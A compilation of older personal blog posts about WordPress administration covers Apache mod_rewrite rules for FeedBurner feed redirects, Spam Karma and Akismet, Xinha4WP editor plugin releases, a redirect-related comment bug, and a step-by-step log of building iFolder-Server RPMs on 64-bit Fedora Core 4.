The problem is that most plugins redirect only the most common feed URLs while others still seem to come through to WordPress. I noticed this on a few of my sites where most feed traffic hit FeedBurner, but some non-FeedBurner feed requests were still being served. mp3 at AskApache saw the same thing and came up with some nifty mod_rewrite rules to handle sending the proper requests to FeedBurner. However his rules required your comment feed to be formatted a certain way. It also seemed like certain very obscure feed requests might get improperly handled.

But I still wanted to move my redirects to mod_rewrite. Feed requests are one of the ‘heavier’ WordPress requests out there in terms of CPU processing. Using a plugin to redirect your feeds helps, but you also end up initializing WordPress and PHP to do a simple redirect. Feed requests are happening more and more as legit and not so legit bots look for new content - so the less load they have the better. Using mod_rewrite is much more efficient since WordPress never gets initialized. It’s all handled within Apache.

So I sat down and came up with some rewrite rules, based on mp3’s rules, to try and better accomodate the various WordPress feed requests, common and obscure, without requiring a special type of FeedBurner feed name for my comment feed. I was previously using the Permalink Redirect plugin to handle redirects for my FeedBurner feed AND my hostname. Since I was doing this, I figured I’d try to get rid of Permalink Redirect completely and do it all within .htaccess. One less plugin to run meant that much less initialization for WordPress on normal requests. Here is what I came up with. I included comments to show the logic behind some of the rules


# Force use of specific hostname
RewriteCond %{HTTP_HOST} !^www\.example\.com [NC]
RewriteCond %{HTTP_HOST} !=""
RewriteRule ^/(.*) http://www.example.com/$1 [L,R=301]
#
# Redirect global post and comment feeds to Feedburner without loading WP
RewriteCond %{REQUEST_URI} ^/(feed|wp-atom|wp-feed|wp-rss|wp-rdf)(.*) [NC,OR]
# Only match if feed is the ONLY attribute. Any other attributes mean a custom feed
RewriteCond %{QUERY_STRING} ^feed=(feed|rss|rss2|rdf|atom)$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(FeedBurner|FeedValidator) [NC]
RewriteRule .* http://feeds.feedburner.com/MyPostFeed? [L,R=302]
#
# Comment feeds can be called via /comments, wp-commentsrss2, or withcomments=1 to the main feed script
RewriteCond %{REQUEST_URI} ^/(comments/|wp-commentsrss2)(.*) [NC,OR]
RewriteCond %{QUERY_STRING} ^.*withcomments=.*$ [NC]
# Calls directly to the feed scripts that include ‘withcomments’ limit to POSTS with comments
RewriteCond %{REQUEST_URI} !^/(wp-atom|wp-feed|wp-rss|wp-rdf)(.*) [NC]
# Any specification of a post ID we skip since it’s post specific
RewriteCond %{QUERY_STRING} !.*p=.* [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(FeedBurner|FeedValidator) [NC]
RewriteRule .* http://feeds.feedburner.com/MyCommentFeed? [L,R=302]


If you don’t have a comment feed on FeedBurner, just drop the 3rd section. Replace ‘MyPostFeed’ with the name of your FeedBurner post feed and MyCommentFeed with your FeedBurner comment feed.

So far this has worked well for even the most obscure of feeds, like the dual behaviors of the attribute withcomments (when set in a main feed request, you get the comment fed - when set in a specific feed request, you get posts with comments). These were tested with WordPress 2.3.x There may be other weird cases from older WordPress versions it doesn’t cover. But so far it’s working like I expected. If you have ideas to enahnce it or find cases where the rules don’t work like they should, let me know in a comment.

ShareThis

1. Spam Karma Update - Coming soon:
A small update for Spam Karma should be coming soon, fixing any compatibility issues that might have been brought upon by the last half-gazilion Wordpress updates. Keep an eye on this news feed or Spam Karma’s homepage for a release announcement by the end of the month. This will also likely be the last update to Spam Karma (which should still give us all quite a few months respite from spam). Barring any unforeseeable circumstances, there will be no more compatibility update to try and keep up with Wordpress’ habit of breaking compatibility with each of their [numerous] releases. Furthermore, there is increasingly little point in "competing" against Akismet, when it is bundled and marketed as the principal Wordpress’ antispam tool (even if I personally do not like its approach).

There are thousands of WordPress plugins out there of varying degrees of quality. But Spam Karma 2 is hands down the best WordPress plugin out there. Wait, you say. Akismet rocks! It stops everything! Don’t get me wrong - Akismet is an amazing and useful service. But I agree with Dr Dave - it’s not the way to block all spam. And as someone whose email address got pegged as a spammer, it can be a real pain. I suddenly found my comments to various blogs just disappearing. Not feedback, no clue why. Finally, after emailing a fellow blogger, we discovered that my posts were in his Akismet queue - due to a mistaken blacklisting of my email address. To their credit, the Akismet folks fixed it on the second request I made. But the point is, a blacklist oriented spam list is not the best ‘overall’ way to block spam.

Spam Karma 2 works because it takes a multi-faceted approach to spam fighting. By default, it has over ten different modules which analyze each comment to figure out if it is spam or not. Add in the Akismet plugin, and you have the ultimate spam fighting arsenal. The key is, instead of being the ONLY spam fighting method, Akismet becomes oen of many weapons. And SK2’s most useful feature is it allowed you to vary the strength of each weapon to suit your needs. Follow that up with the fact that it supports outside plugins (a plugin to a plugin - ha!) and you have an amazing amount of flexibility.

I wouldn’t run a WordPress site without the SK2/Akismet combo. I’ve had plenty of comments get trapped by SK2 that Akismet still thought were ‘ham’. Yet I can’t recall when SK2 trapped a comment as spam that really was legitimate, and I use it on 10+ WordPress sites. I know some of you find Akismet to be all you need, but I often hear about ‘clearing out my Akismet queue’ like its a regular chore. I can’t imagine. I might have to moderate a couple comments a week. But the SK2/Akismet combo hammer down things so well, there are very few spam that it can’t figure out.

But Dr Dave has a point. Unlike some software that doesn’t seem to get updated much when it should be, WordPress gets updated a lot. But that’s a double edged sword. It’s great because you get new features often and get bugs fixed quickly. But the frequent release of major versions (in this case 0.1+) have caused a lot of plugin authors a lot of pain. Every time you get a chance to get your plugin stable and not chewing up your time, a new WP version comes out that breaks it and you have to fix it again. With a plugin as big and complex as SK2, I can imagine this is a heck of a chore. Do we really need 0.1 increments every 3 months? I don’t know. Clearly, there have been a lot of improvements (tagging going native, etc) worth having. But sometimes I wonder if we’re seeing WordPress churn TOO much. As someone who maintains a lot of WP based sites, they admin overhead just to keep them updated has become a real issue and makes me wish WordPress-MU was farther along.

Anyway - I’m just venting. I hope Dr Dave reconsiders, but clearly he has some exciting new stuff to deal with (he’s working on some macro level spam research). I hope enough people feel like I do and will work to keep SK2 alive and kicking. It does too much good to be left to wither. I for one don’t see SK2 as a competitor to Akismet. I rather see Akismet as an excellent addition to Spam Karma 2

I know I’ll do whatever I can as a programmer to help keep SK2 working with new WP versions, even if just for my own selfish reasons on my own sites. So if Dr Dave really does end-of-life SK2 and you’re interested in helping keep it alive, let me know as I’ll be more than happy to help!

ShareThis

ShareThis

Xinha itself has been under continued development, and the latest release was version 0.931, so I figured it was time to update the core Xinha installation in Xinha4WP (it was using a version from October 2006). Well, that brought on a host of new problems as the Xinha team has changed a number of things to further eradicate ‘htmlarea’ from the code. They also added a new way to pass plugin configurations which solved another problem I’ve been having with backend security errors in the ImageManager plugin.

After a day of tinkering, I think I’ve got the latest Xinha release working properly in WordPress 2.2. Next up is to test it in WordPress 2.1 (even though I know NOBODY is still running it ) I also want to add support for a few more plugins, especially the ExtendedFileManager (in Image Management mode). That’s going to take a little doing. Then I’ll release v1.2c Beta into the wild.

So bear with me - v1.2c Beta should be out soon - I just want to use it for a bit more to make sure everything is still working like it should. So far so good with both Firefox and IE 7. Still no love for Safari users though - Xinha doesn’t work on it.

ShareThis

On a side note - I’ll be moving the site to a new host in the next few days, so you might see a momentary interruption, but nothing more than that!

ShareThis

I create this plug site specifically because the original Xinha4WP page and comments were getting out of control. So we put up forums and the response has been VERY positive. Thanks for everyone who is speaking up about issues so we can try to fix them.

Anyway, Lorelle has drawn a line in the sand challenging plugin authors to write well crafted and organized plugins and follow that up with some form of support. I agree 100%.

One idea I had… (hey maybe an idea for a future plugin!) is to possibly put something together that can track all the tabs added to WordPress by plugins and allow you to move them where you want via an options screen. That would be very useful. Not sure it could be done codewise, but there are hooks for everything else!

ShareThis

Besides, too many friends and family would go to our family site and be totally confused by all this talk about plugins and such. So update your bookmarks! Xinha4WP has a new home!

Let me know what you think. I’ve worked to get all the rough edges smoothed out that I could find. There’s just a few formatting tweaks here and there I still need to do, especially in the forums. I’ve also noticed an occasional ‘blank page’ returned when you click links. This is my first WordPress 2.1 install and it’s segfaulting apache on the rare occasion (All my WordPress 2.0.x installs are working great). Going to have to update the LAMP stack sooner rather than later I fear - I think my current PHP install is showing it’s age.

ShareThis

OK - I got WordPress 2.1 installed and Xinha4WP worked right out of the box. If you are having trouble with Xinha4WP after upgrading to WordPress 2.1, PLEASE post a comment with as much information as you can collect. Right now, it seems to be working fine for me so I can’t really tell what might be going on. I’ve only gotten two reports of problems so I think those may be separate issues. 

ShareThis

ShareThis

G2Image was recently setup to be generic so it could be used in other applications. Since Xinha has such a robust plugin architecture, it shouldn’t be too hard to splice G2Image in. The tricky part won’t be inserting the WPG2 tags, it’ll be writing a filter so you SEE the images while editing, yet still save just the WPG2 tag. If I can’t get that going right away I may use G2Image to insert the actual <img src> HTML. We’ll see - my JavaScript is pretty rusty. 

ShareThis

I figured maybe something was in the theme headers, etc so I created a simple form with a couple variables that would post to wp-comment-post.php and it worked. Hmm. So I tried the other angle and created a comment post test script that dump the form variables and called it from my theme form file. The variables disappeared. Any theme, the variables vanished in my test script.

This had me totally confused. Why couldn’t I get basic form data into my form. Google returned a variety of ideas, but none that worked. Finally, I stumbled across a ticket for WordPress searching for ‘Blank Page on comments’ and someone had the same problem I did and for the same reason. It’s a doozy.

I’m one of those people who find the ‘www’ in URLs redundant. All my sites support them both, but from an SEO point of view, I’ve started ensuring www.mydomain.com permanently redirects to mydomain.com. When I setup this blog a few years ago, I had put in ‘www.baptiste.us’ in the blog configuration. A few months ago, I added a permanent redirect for www.baptiste.us to always go to baptiste.us. Everything worked as far as I could tell and since I don’t comment on my blog except to respond to new comments, well… That redirect and the blog settings BROKE the comments and I didn’t realize it for quite a while (I just figured nobody had anything to say ). Here’s why.

In WordPress theme comment files, the form ‘action’ variable includes the site url in front of wp-comments-post.php. So for my comment form, the action was set to http://www.baptiste.us/wp-comments-post.php, regardless of the theme I used. The problem is, the Permanent Redirect from www.baptiste.us to baptiste.us WIPES OUT the form variables, even though everything else seems to work. Silently. Now this may be due to session conflicts, etc, I’m not 100% sure.

But the solution was easy. I took out the ‘www.’ in my blog’s config so comment posts went to the ‘baptiste.us’ domain right away instead of www.baptiste.us and comments started working again.

Moral of the story - if you have a permanent redirect setup for your WordPress blog, be sure the desired domain is the domain set in the WordPress config. If you want everyone to end up at www.mydomain.com, you better have the ‘www’ in your WordPress config. If you want the www to always go away, make sure it’s not in your config either. Hopefully this post saves someone else the time and aggravation if they stumble into this trap.

So 3 days and nights of debugging on and off and all it took was updating two config variables in WordPress. Problem solved

ADDING: Beware of WordPress 2.3’s new Canonical URL feature. It’s a great feature, long overdue, but if you have redirects in .htaccess, you can possibly create a redirect loop. Lots of info on this feature can be found at Mark on WordPress.

ShareThis

You can download the beta version in zip and tar format. 

Installation is easy:

1. Move your existing xinha4wp plugin directory to something like xinha4wp_old (just in case)
2. Unzip/tar the new version into place (/wp-content/plugins/xinha4wp)
3. Open the Xinha4WP options screen and look for a successful upgrade message.
4. Clear your browser’s disk cache. 

Here are some important notes about this version:

• It contains a much improved version of Xinha from the Oct 30th nightly build.
• Works with both WordPress and WordPress-MU.
  
• The HTML cleanup feature has a number of new filters you can use. I added options allowing you to set the defaults for each filter (on or off) in the prompt, but I haven’t been able to get them to work. So for now, all but one of the filters will be enabled when you cleanup by default (you can manually enable/disable them during each check)
• The Image Manager plugin now allows the setting of a custom directory name. The directory MUST be a subdirectory of wp-content. It will default to the uploads directory, but this can be overridden in the Post or Comments settings screen at the bottom. If you used an old version of xinha4wp and had the images going into /wp-content/images you must set the directory field to ‘images’
• IMPORTANT! After you install the beta, open the Xinha4WP options screen to upgrade the database schema. Once you do this, follow the instructions in the update message to clear your browsers disk cache. Firefox was caching the old Xinha javascript files, even on restarts, which cause a lot of trouble. One clear way to know if the ‘new’ Xinha is being loaded is the HTML Cleanup button. If you still see the old ‘W3C’ button, the old code is being loaded. If you see a yellow broom button, the new code is being loaded.
• This version includes a new HTML generation engine which should be disabled by default. I find it generates very clean HTML, making HTML Cleanup rarely necessary. However it has a couple of quirks like including BR tags at the end of paragraphs.
• Xinha4WP no longer checks for Text Control plugin. If your post has linefeeds in it, WordPress will convert them to hard line breaks. The HTML Cleanup button will remove all these extra line feeds, so if you cut and paste often, one HTML Cleanup per post is suggested.
• The new form spellcheck feature in Firefox 2.0 WILL highlight misspelled words. However, Xinha has a context menu plugin and if it is enabled, you won’t be able to correct spelling with Firefox since Xinha intercepts the right mouse click for its own menu. Use Xinha’s spell check feature instead.
• It doesn’t break EventCalendar3 like it used to.
  

This version will work with WordPress v1.5.x and v2.0.3 or higher as well as WordPress-MU 1.0.x. If you use this with WordPress v2 or WordPress-MU, you MUST disable the Rich Text Edit option in your global options AND the Admin profile. Otherwise you will see both WYSIWYG editors.

Please post any problems with the beta you have here instead of the main Xinha4WP page.

NOTE Poor coders like myself always appreciate donations to keep the tumbler full!

[Originally posted at baptiste.us - See the original article for comments]

ShareThis

If a user searches for something and clicks on a link to your WordPress site, now you can present them with the linked post and also a list of other posts that are related. This is very similar in functionality to the Related Entries Plugin, except it only takes effect if a user was referred from a search engine. This allows you to only take the related search hit for referred users instead of every user. It also lets you greet new users with a friendly message about what they were searching for and what else might interest them based on their search terms.

The plugin installed just fine and I was able to add it to my theme fairly easily. However, the code was loaded with substr() calls and other slow functions. A lot of processing was being done, even if a user was not referred to your site (i.e. they were just browsing around). Instead of using a cascade of if(substr = searchengine) calls, I implemented a match array keyed off known search engine hosts that returns the query delimiter immediately. I also condensed the code into a few functions to remove redundant code.

The updated code can be downloaded here. Note that if you run WordPress 2.0, uncomment the bottom section where ls_install is. WP 1.5 users need to execute the SQL manually (I may add a WP 1.5 init routine if the spirit moves me). I need to add a version check to make this 100% portable, but I’m already nodding off… I may update it tomorrow to add the portability check.

Enjoy!

UPDATE: Now that I got a little sleep, I’ve updated things a bit to keep me from being embarassed for being lazy! The biggest change is the implimentation of static variables for the terms, delimiter, and referer. Since we call these routines multiple times in template code, it was redundant. Now using a static variable, the values are maintained during a page’s processing which eliminates a lot of processing. We process once for each value and reuse it every time we are called. I did not cache the database query since I can’t imagine why you would need to grab the related posts twice in one page.

I also made the DB schema update portable for WP 1.5 and 2.0 so the schema will be updated for you automagically even if you aren’t using WP 2.0.x. Anyone with a WP 1.2 install, please check that it works as well. I used a little trickery and a stored option to ensure the DB schema is only checked during admin interface page views, not main page views and can be checked quickly without a DB query (since options are cached already)

I fixed the problem where SQL queries failed if the post ID wasn’t available (i.e. you used it on a main page, etc) so you won’t see a post in the related list when viewing it.

Finally, I added support for search engines like A9 and Excite which include the search term as a URL path instead of in a query variable.

[Originally posted at baptiste.us - See the original article for comments]

ShareThis

I did not have a huge desire to move to WordPress 2.0, mostly because 1.5.x was working for my sites and I had other projects I had to take care of. Well, the time was coming to get to v2.0 - too many cool new things were coming up for 2.0 or higher (the Installer plugin is awesome). So I finally found some time to give the Xinha4WP v2.0 changes a go.

First step was updating my test install to WordPress v2.0.2 and poke around. I’m not 100% sure, but the way they structured the Post HTML made it seem like TinyMCE wasn’t so static as it used to be. In fact it was downright gentle. If ‘Rich Editing’ was enabled it included some JavaScript for the toolbar, but otherwise the textarea tag was left alone - this is a good thing. So on a hunch, I installed Xinha4WP v1.1 and disabled Rich Editing for all users. The Admin user still had Rich Editing set for it, so I disabled it and hit ‘Write’

Voila - Xinha4WP came right up and so far seems to be working like a champ! So if you’ve been wanting to get Xinha4WP working on WordPress v2.0, it looks like you can with WP 2.0.2. I’m still working on a Xinha4WP v2.0 that will make installation seamless and take care of disabling TinyMCE for you, but for now, try this….

1. Make sure you have WordPress v2.0.2 installed.
2. Disable ‘Rich Editing’ under Options->Writing. Also make sure any users you have created also have it disabled in their profile.
3. Ignore the warnings about Text-Control for now. I believe WP 2.0.x is handling the line feed issue better than 1.5.x did - still need to test.
4. Try to write a post. Xinha4WP works just fine for me here. How about you?

Note: The built in upload tools will only work if Xinha4WP is in HTML View mode. Since Xinha4WP has its own Image Manipulation plugin, I’d suggest using that instead. Xinha4WP v2.0 will strip out the image upload stuff from WordPress for simplicity.

Xinha4WP didn’t work for comments, but that is theme related. v2.0 will include CSS overrides to prevent the theme based issues with comment posting we’ve seen before. So it may work for you for comments, it may not.

So there you have it. It looks like a recent bug fix release of WP made things MUCH easier. I’m off to code. I’m REALLY hoping to have something by this weekend for beta testers. Check the Xinha4WP page for updates. Thanks for your patience!

UPDATE: Make sure you disable toolbar flow!

[Originally posted at baptiste.us - See the original article for comments]

ShareThis

Having just been open sourced, I’m working to compile iFolder-Server RPMs for the x86_64 platform on Fedora Core 4. I’m using 4 instead of 5 simply because iFolder uses mono and I wasn’t able to find FC5 rpms (the Fedora Dev RPMs probably would have worked, but I can always upgrade to FC5 later).

So off we go…

First off, I needed a server to build and run iFolder on. I currently have a Linux Virtual Server system running so I decided to setup a new server instance for iFolder. I setup FC4 in the new vserver using yum. If you attempt this, you’ll need the usual development packages, gcc, automake, autoconf, m4, make, rpm-build, etc. RPM will spit out any dependencies you need when you first try to build an rpm. You also need mono installed. If you use yum, drop mono.repo into your /etc/yum.repos.d directory and then install the following mono packages:

yum install mono-core mono-data mono-devel mono-web

iFolder depends on two other RPMs: log4net and libflaim. You can find source RPMs here. Click into the latest build directory, then ‘linux’, then FEDORA-CORE-4.0-i386, then srpms.

Building log4net was easy:

rpmbuild --rebuild log4net-1.2.9-4.src.rpm

It built for me no problem. Next up was libflaim, which iFolder-Server relies on heavily. My first attempt resulted in the following error:

Makefile:141: *** Host operating system could not be determined. Stop.

Interesting. I poked around the net a bit and found someone who had run into the same thing trying to compile it on Gentoo. Fair enough. Its a hack, not a real fix, but here is how I got it built:

Install the source rpm: rpm -ivh libflaim-4.8.61-1.src.rpm

Edit /usr/src/redhat/SPECS/libflaim.spec and change the make and make install lines to:

%build
make lib_dir_name=%{_lib} libs HOSTTYPE=x86_64 OSTYPE=Linux

%install
make rpm_build_root=$RPM_BUILD_ROOT install_prefix=%{prefix} lib_dir_name=%{_lib} install HOSTTYPE=x86_64 OSTYPE=Linux


I basically hardcoded the values at the end. You probably could have done `uname -s` and `uname -m` but I was lazy.

Now try and build it from /usr/src/redhat/SPECS: rpmbuild -ba ./libflaim.spec

Voila! libflaim and libflaim-devel RPMs were sitting in /usr/src/redhat/RPMS/x86_64 waiting to be installed. They installed no problem.

Now for the real fun, building iFolder-Server. My first attempt gave me an error about libtoolize not existing. So I used yum to install libtool and tried again. The next error complained that /usr/lib/libflaim.a did not exist. This makes sense. x86_64 machines put their 64bit libraries in /usr/lib64. Being lazy again, I went ahead and softlinked /usr/lib64/libflaim.a into /usr/lib. BAD I know. But I wanted to just see if it would work. Sure enough, I got past that error, though I was still seeing this warning:

/bin/sh ../../../../libtool --tag=CXX --mode=link g++ -g -O2 -o libFlaimWrapper.la -rpath /usr/lib /usr/lib/libflaim.a libFlaimWrapper_la-CSPObjectIterator.lo libFlaimWrapper_la-CSPropertyIterator.lo libFlaimWrapper_la-CSPStore.lo libFlaimWrapper_la-CSPStoreObject.lo libFlaimWrapper_la-FlaimWrapper.lo

*** Warning: Linking the shared library libFlaimWrapper.la against the
*** static library /usr/lib/libflaim.a is not portable!

g++ -shared -nostdlib /usr/lib/gcc/x86_64-redhat-linux/4.0.2/../../../../lib64/crti.o /usr/lib/gcc/x86_64-redhat-linux/4.0.2/crtbeginS.o .libs/libFlaimWrapper_la-CSPObjectIterator.o .libs/libFlaimWrapper_la-CSPropertyIterator.o .libs/libFlaimWrapper_la-CSPStore.o .libs/libFlaimWrapper_la-CSPStoreObject.o .libs/libFlaimWrapper_la-FlaimWrapper.o /usr/lib/libflaim.a -L/usr/lib/gcc/x86_64-redhat-linux/4.0.2 -L/usr/lib/gcc/x86_64-redhat-linux/4.0.2/../../../../lib64 -L/usr/lib/gcc/x86_64-redhat-linux/4.0.2/../../.. -L/lib/../lib64 -L/usr/lib/../lib64 -lstdc++ -lm -lc -lgcc_s /usr/lib/gcc/x86_64-redhat-linux/4.0.2/crtendS.o /usr/lib/gcc/x86_64-redhat-linux/4.0.2/../../../../lib64/crtn.o -Wl,-soname -Wl,libFlaimWrapper.so.0 -o .libs/libFlaimWrapper.so.0.0.0


Which is 100% correct. It is NOT portable! But it kept on compiling.

Now I’ve run into an error I’m not sure how to fix. The build uses somethign called the gSOAP Skeleton Compiler:

** The gSOAP Stub and Skeleton Compiler for C and C++ 2.7.0c
** Copyright (C) 2001-2004 Robert van Engelen, Genivia, Inc.
** All Rights Reserved. This product is provided "as is", without any warranty.


which appears to build fine:

Saving envStub.h
Saving envH.h
Saving envC.c
Saving envClient.c
Saving envServer.c
Saving envClientLib.c
Saving envServerLib.c
 
Compilation successful


but as the build tries to use part of this package, it dies:

gcc -DPACKAGE_NAME=\"\" -DPACKAGE_TARNAME=\"\" -DPACKAGE_VERSION=\"\" -DPACKAGE_STRING=\"\" -DPACKAGE_BUGREPORT=\"\" -DPACKAGE=\"simias\" -DVERSION=\"1.5\" -DSTDC_HEADERS=1 -DHAVE_SYS_TYPES_H=1 -DHAVE_SYS_STAT_H=1 -DHAVE_STDLIB_H=1 -DHAVE_STRING_H=1 -DHAVE_MEMORY_H=1 -DHAVE_STRINGS_H=1 -DHAVE_INTTYPES_H=1 -DHAVE_STDINT_H=1 -DHAVE_UNISTD_H=1 -DHAVE_DLFCN_H=1 -I. -I. -I/usr/include/libxml2 -DWITH_NONAMESPACES -DWITH_COOKIES -MT libsimias_la-envC.lo -MD -MP -MF .deps/libsimias_la-envC.Tpo -c envC.c -o libsimias_la-envC.o >/dev/null 2>&1
../../../tools/gsoap/linux-2.7/wsdl2h -c -o libsimias.h ../WebService/Simias.wsdl
make[3]: ../../../tools/gsoap/linux-2.7/wsdl2h: Command not found
make[3]: *** [libsimias.h] Error 127
make[3]: Leaving directory `/usr/src/redhat/BUILD/ifolder3-server-3.5.6102.1/src/core/libsimias’
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/usr/src/redhat/BUILD/ifolder3-server-3.5.6102.1/src/core’
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/usr/src/redhat/BUILD/ifolder3-server-3.5.6102.1/src’
make: *** [all-recursive] Error 1


Bummer. It looks to be a path issue, because the tool DOES exist:

/usr/src/redhat/BUILD/ifolder3-server-3.5.6102.1/tools/gsoap/linux-2.7/wsdl2h

And that’s where I am at. I’m going to forward all this to the iFolder folks so the source RPMs can get fixed. Hopefully I can figure out a way to get past this as I’m really looking forward to firing up iFolder on x86_64. I’ll update this as I make progress.

UPDATE 1: Here are the bugs I submitted for the above three problems: 165693 165696 165700

UPDATE 2: Here is a HOWTO related to Fedora building. Note the SELinux issues.

UPDATE 3: One thing I forgot to mention was when I used yum to install compat-libstdc++-33, it returned both the i386 and x86_64 versions to be installed. Wanting to keep things x86_64, I said ‘N’o to the install and grabbed the x86_64 version of compat-libstdc++-33 from rpmfind.net and installed it manually. Once I did that, all the other dependencies worked.

UPDATE 4: Ah-ha! Its not a missing file. Its another library problem. gsoap seems to expect that ld-linux will be in /lib. Note what happens when I try the failing command manually:


/usr/src/redhat/BUILD/ifolder3-server-3.5.6102.1/src/core/libsimias> ../../../tools/gsoap/linux-2.7/wsdl2h -c -o libsimias.h ../WebService/Simias.wsdl
bash: ../../../tools/gsoap/linux-2.7/wsdl2h: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory


Well that makes sense. ld-linux is not in /lib. It’s in /lib64: /lib64/ld-linux-x86-64.so.2

That would explain the failure. I’ll try a link hack again (bad bad I know) and if that works see how this can be fixed properly. Well, if you softlink the library, the same part of the compile says it is trying to access a corrupt shared library. But it has me on the right track. Time to dig into the various Makefiles and see if I can figure out where it is hardcoded….

UPDATE 5: Duh - should have figured this out earlier. The iFolder-Server source rpm includes a precompiled version of gsoap - built on x86 so it fails to run on x86_64. I’m grabbing the latest gsoap source now and will build it on x86_64 which should allow the build to continue. I hope….

UPDATE 6: SUCCESS!!!!! Man that was painful! The ifolder source RPM includes a precompiled version of gsoap 2.7.0 which is an x86 compiled version. I found a gsoap v2.7.2 source RPM which I was able to build. I also was able to create a source RPM for v2.7.7 of gsoap, but the errors I got seemed to indicate soem API changes from 2.7.0. So I decided to just do for x86_64 what had been done for x86. I found v2.7.0f of gsoap (and a couple of patches) and compiled it for x86_64. I then spliced in that version of gsoap into the ifolder source tree. Tarred and zipped it up and put it in /usr/src/redhat/SOURCES and did an rpmbuild -ba off the ifolder SPEC file. And Voila! It Built! And it installed. Be afraid! I’m beat now, so I’m going to give it a whirl in the morning to see if it’ll actually run!

I’ll try emailing the developers tomorrow. If they can extract the gsoap dependencies such that the iFolder RPM uses a gsoap RPM, that would be very nice. The gsoap RPMs were somewhat confusing since the v2.7.2 RPM patched the gsoap source to switch from a simple stdsoap2.h to a numebr of headers (dom.h, xml.h, etc) I think gsoap made some major changes from v2.7.0 up through v2.7.7.

I’ve now got a buildable ifolder-server source RPM that will build on x86_64 (but since it is precompiled gsoap still it’ll ONLY build on x86_64) If I’m able to get iFolder running on x86_64, I’ll post a link to the src rpm I have.

[Originally posted at baptiste.us - See the original article for comments]

ShareThis